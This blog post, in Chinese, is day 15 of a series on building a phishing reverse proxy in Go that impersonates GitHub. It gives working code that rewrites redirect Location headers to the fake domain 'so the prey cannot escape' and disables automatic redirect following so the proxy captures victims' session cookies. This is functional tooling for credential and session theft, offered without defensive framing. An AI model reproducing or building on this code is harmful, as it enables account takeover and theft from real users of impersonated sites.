iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 15
1
Software Development

Go Phishing!30 天用 Go 實作 Reverse Proxy 之釣魚大作戰系列 第 15

Day15-HTTP Redirect II(實作篇)

今日目標

昨天所說,因為我們自己的 Phish Github 沒有把正確的 status code 傳給瀏覽器(下圖),所以沒辦法重新導向,而今天就是要解決這個問題

實作

之前的 sendReqToUpstream 只回傳 body 跟 header,現在需要 status code 所以多回傳一個 resp.StatusCode,Go 的多回傳值真的很方便呢

func sendReqToUpstream(req *http.Request) ([]byte, http.Header, int) {
    client := http.Client{}
    resp := client.Do(req)

    // ...
    
    return respBody, resp.Header, resp.StatusCode
}

handler 方面如果發現 status code 是 3XX,那就把 Location 取代一下變成假的網址,譬如說原本是 https://github.com 就變成 https://phish-github.com,這樣才不會讓獵物逃出釣魚網站XD

func handler(w http.ResponseWriter, r *http.Request) {
    req := cloneRequest(r)

    body, header, statusCode := sendReqToUpstream(req)
	
    //...

    // 如果 status code 是 3XX 就取代 Location 網址
    if statusCode >= 300 && statusCode < 400 {
        location := header.Get("Location")
        newLocation := strings.Replace(location, upstreamURL, phishURL, -1)
        w.Header().Set("Location", newLocation)
    }

    // 轉傳正確的 status code 給瀏覽器
    w.WriteHeader(statusCode)
    w.Write(body)
}

這樣應該沒問題了吧?

自動 Follow redirect 的陷阱

筆者我原先以為只要把正確的 status code 跟 Location 傳到瀏覽器就沒問題了,但想不到還是不能登入

仔細研究了一下發現是 Go 中的 HTTP client 預設會自動跟隨 HTTP Redirect,什麼意思呢?看下面這張圖,我們想要的是這樣,只要 reverse proxy 收到 302,那他就竄改一下 Location 再把 302 轉傳給前端

但想不到 Go 的 http client 收到 302 Redirect 之後馬上又 自動 發一個請求到 Location,而且還沒把 cookie 存起來,如下圖

為了避免這種狀況只好 讓 http client 不要自動 follow redirect ,怎麼做呢?只要在初始化 http client 時指定一個 CheckRedirect function 就可以了,Go 每次要 follow redirect 之前都會先跑這個 function,如果回傳 http.ErrUseLastResponse 這個錯誤他就不會跟隨 redirect 而是直接得到回覆,也就可以達到我們想要的效果

func sendReqToUpstream(req *http.Request) ([]byte, http.Header, int) {
    checkRedirect := func(r *http.Request, via []*http.Request) error {
        return http.ErrUseLastResponse
    }
    client := http.Client{CheckRedirect: checkRedirect}


    resp, err := client.Do(req)
    
    // ...

    return respBody, resp.Header, resp.StatusCode
}

實際測試一下終於可以重新導向也可以拿到 user-session 的 cookie 囉

小結

今天實作了轉發 status code 還有 HTTP header 中的 Location,而且還意外發現原來 Go 的 HTTP client 會自動 follow redirect,真是長知識了。

commit 一樣放在 Github 上,今天的內容有點難,如果有任何問題請不要害羞在底下留言XD,我會盡量解釋讓大家都看得懂,謝謝大家


上一篇
Day14-HTTP Redirect I(原理篇)
下一篇
Day16-轉發 HTTP Header I
系列文
Go Phishing!30 天用 Go 實作 Reverse Proxy 之釣魚大作戰30

尚未有邦友留言

立即登入留言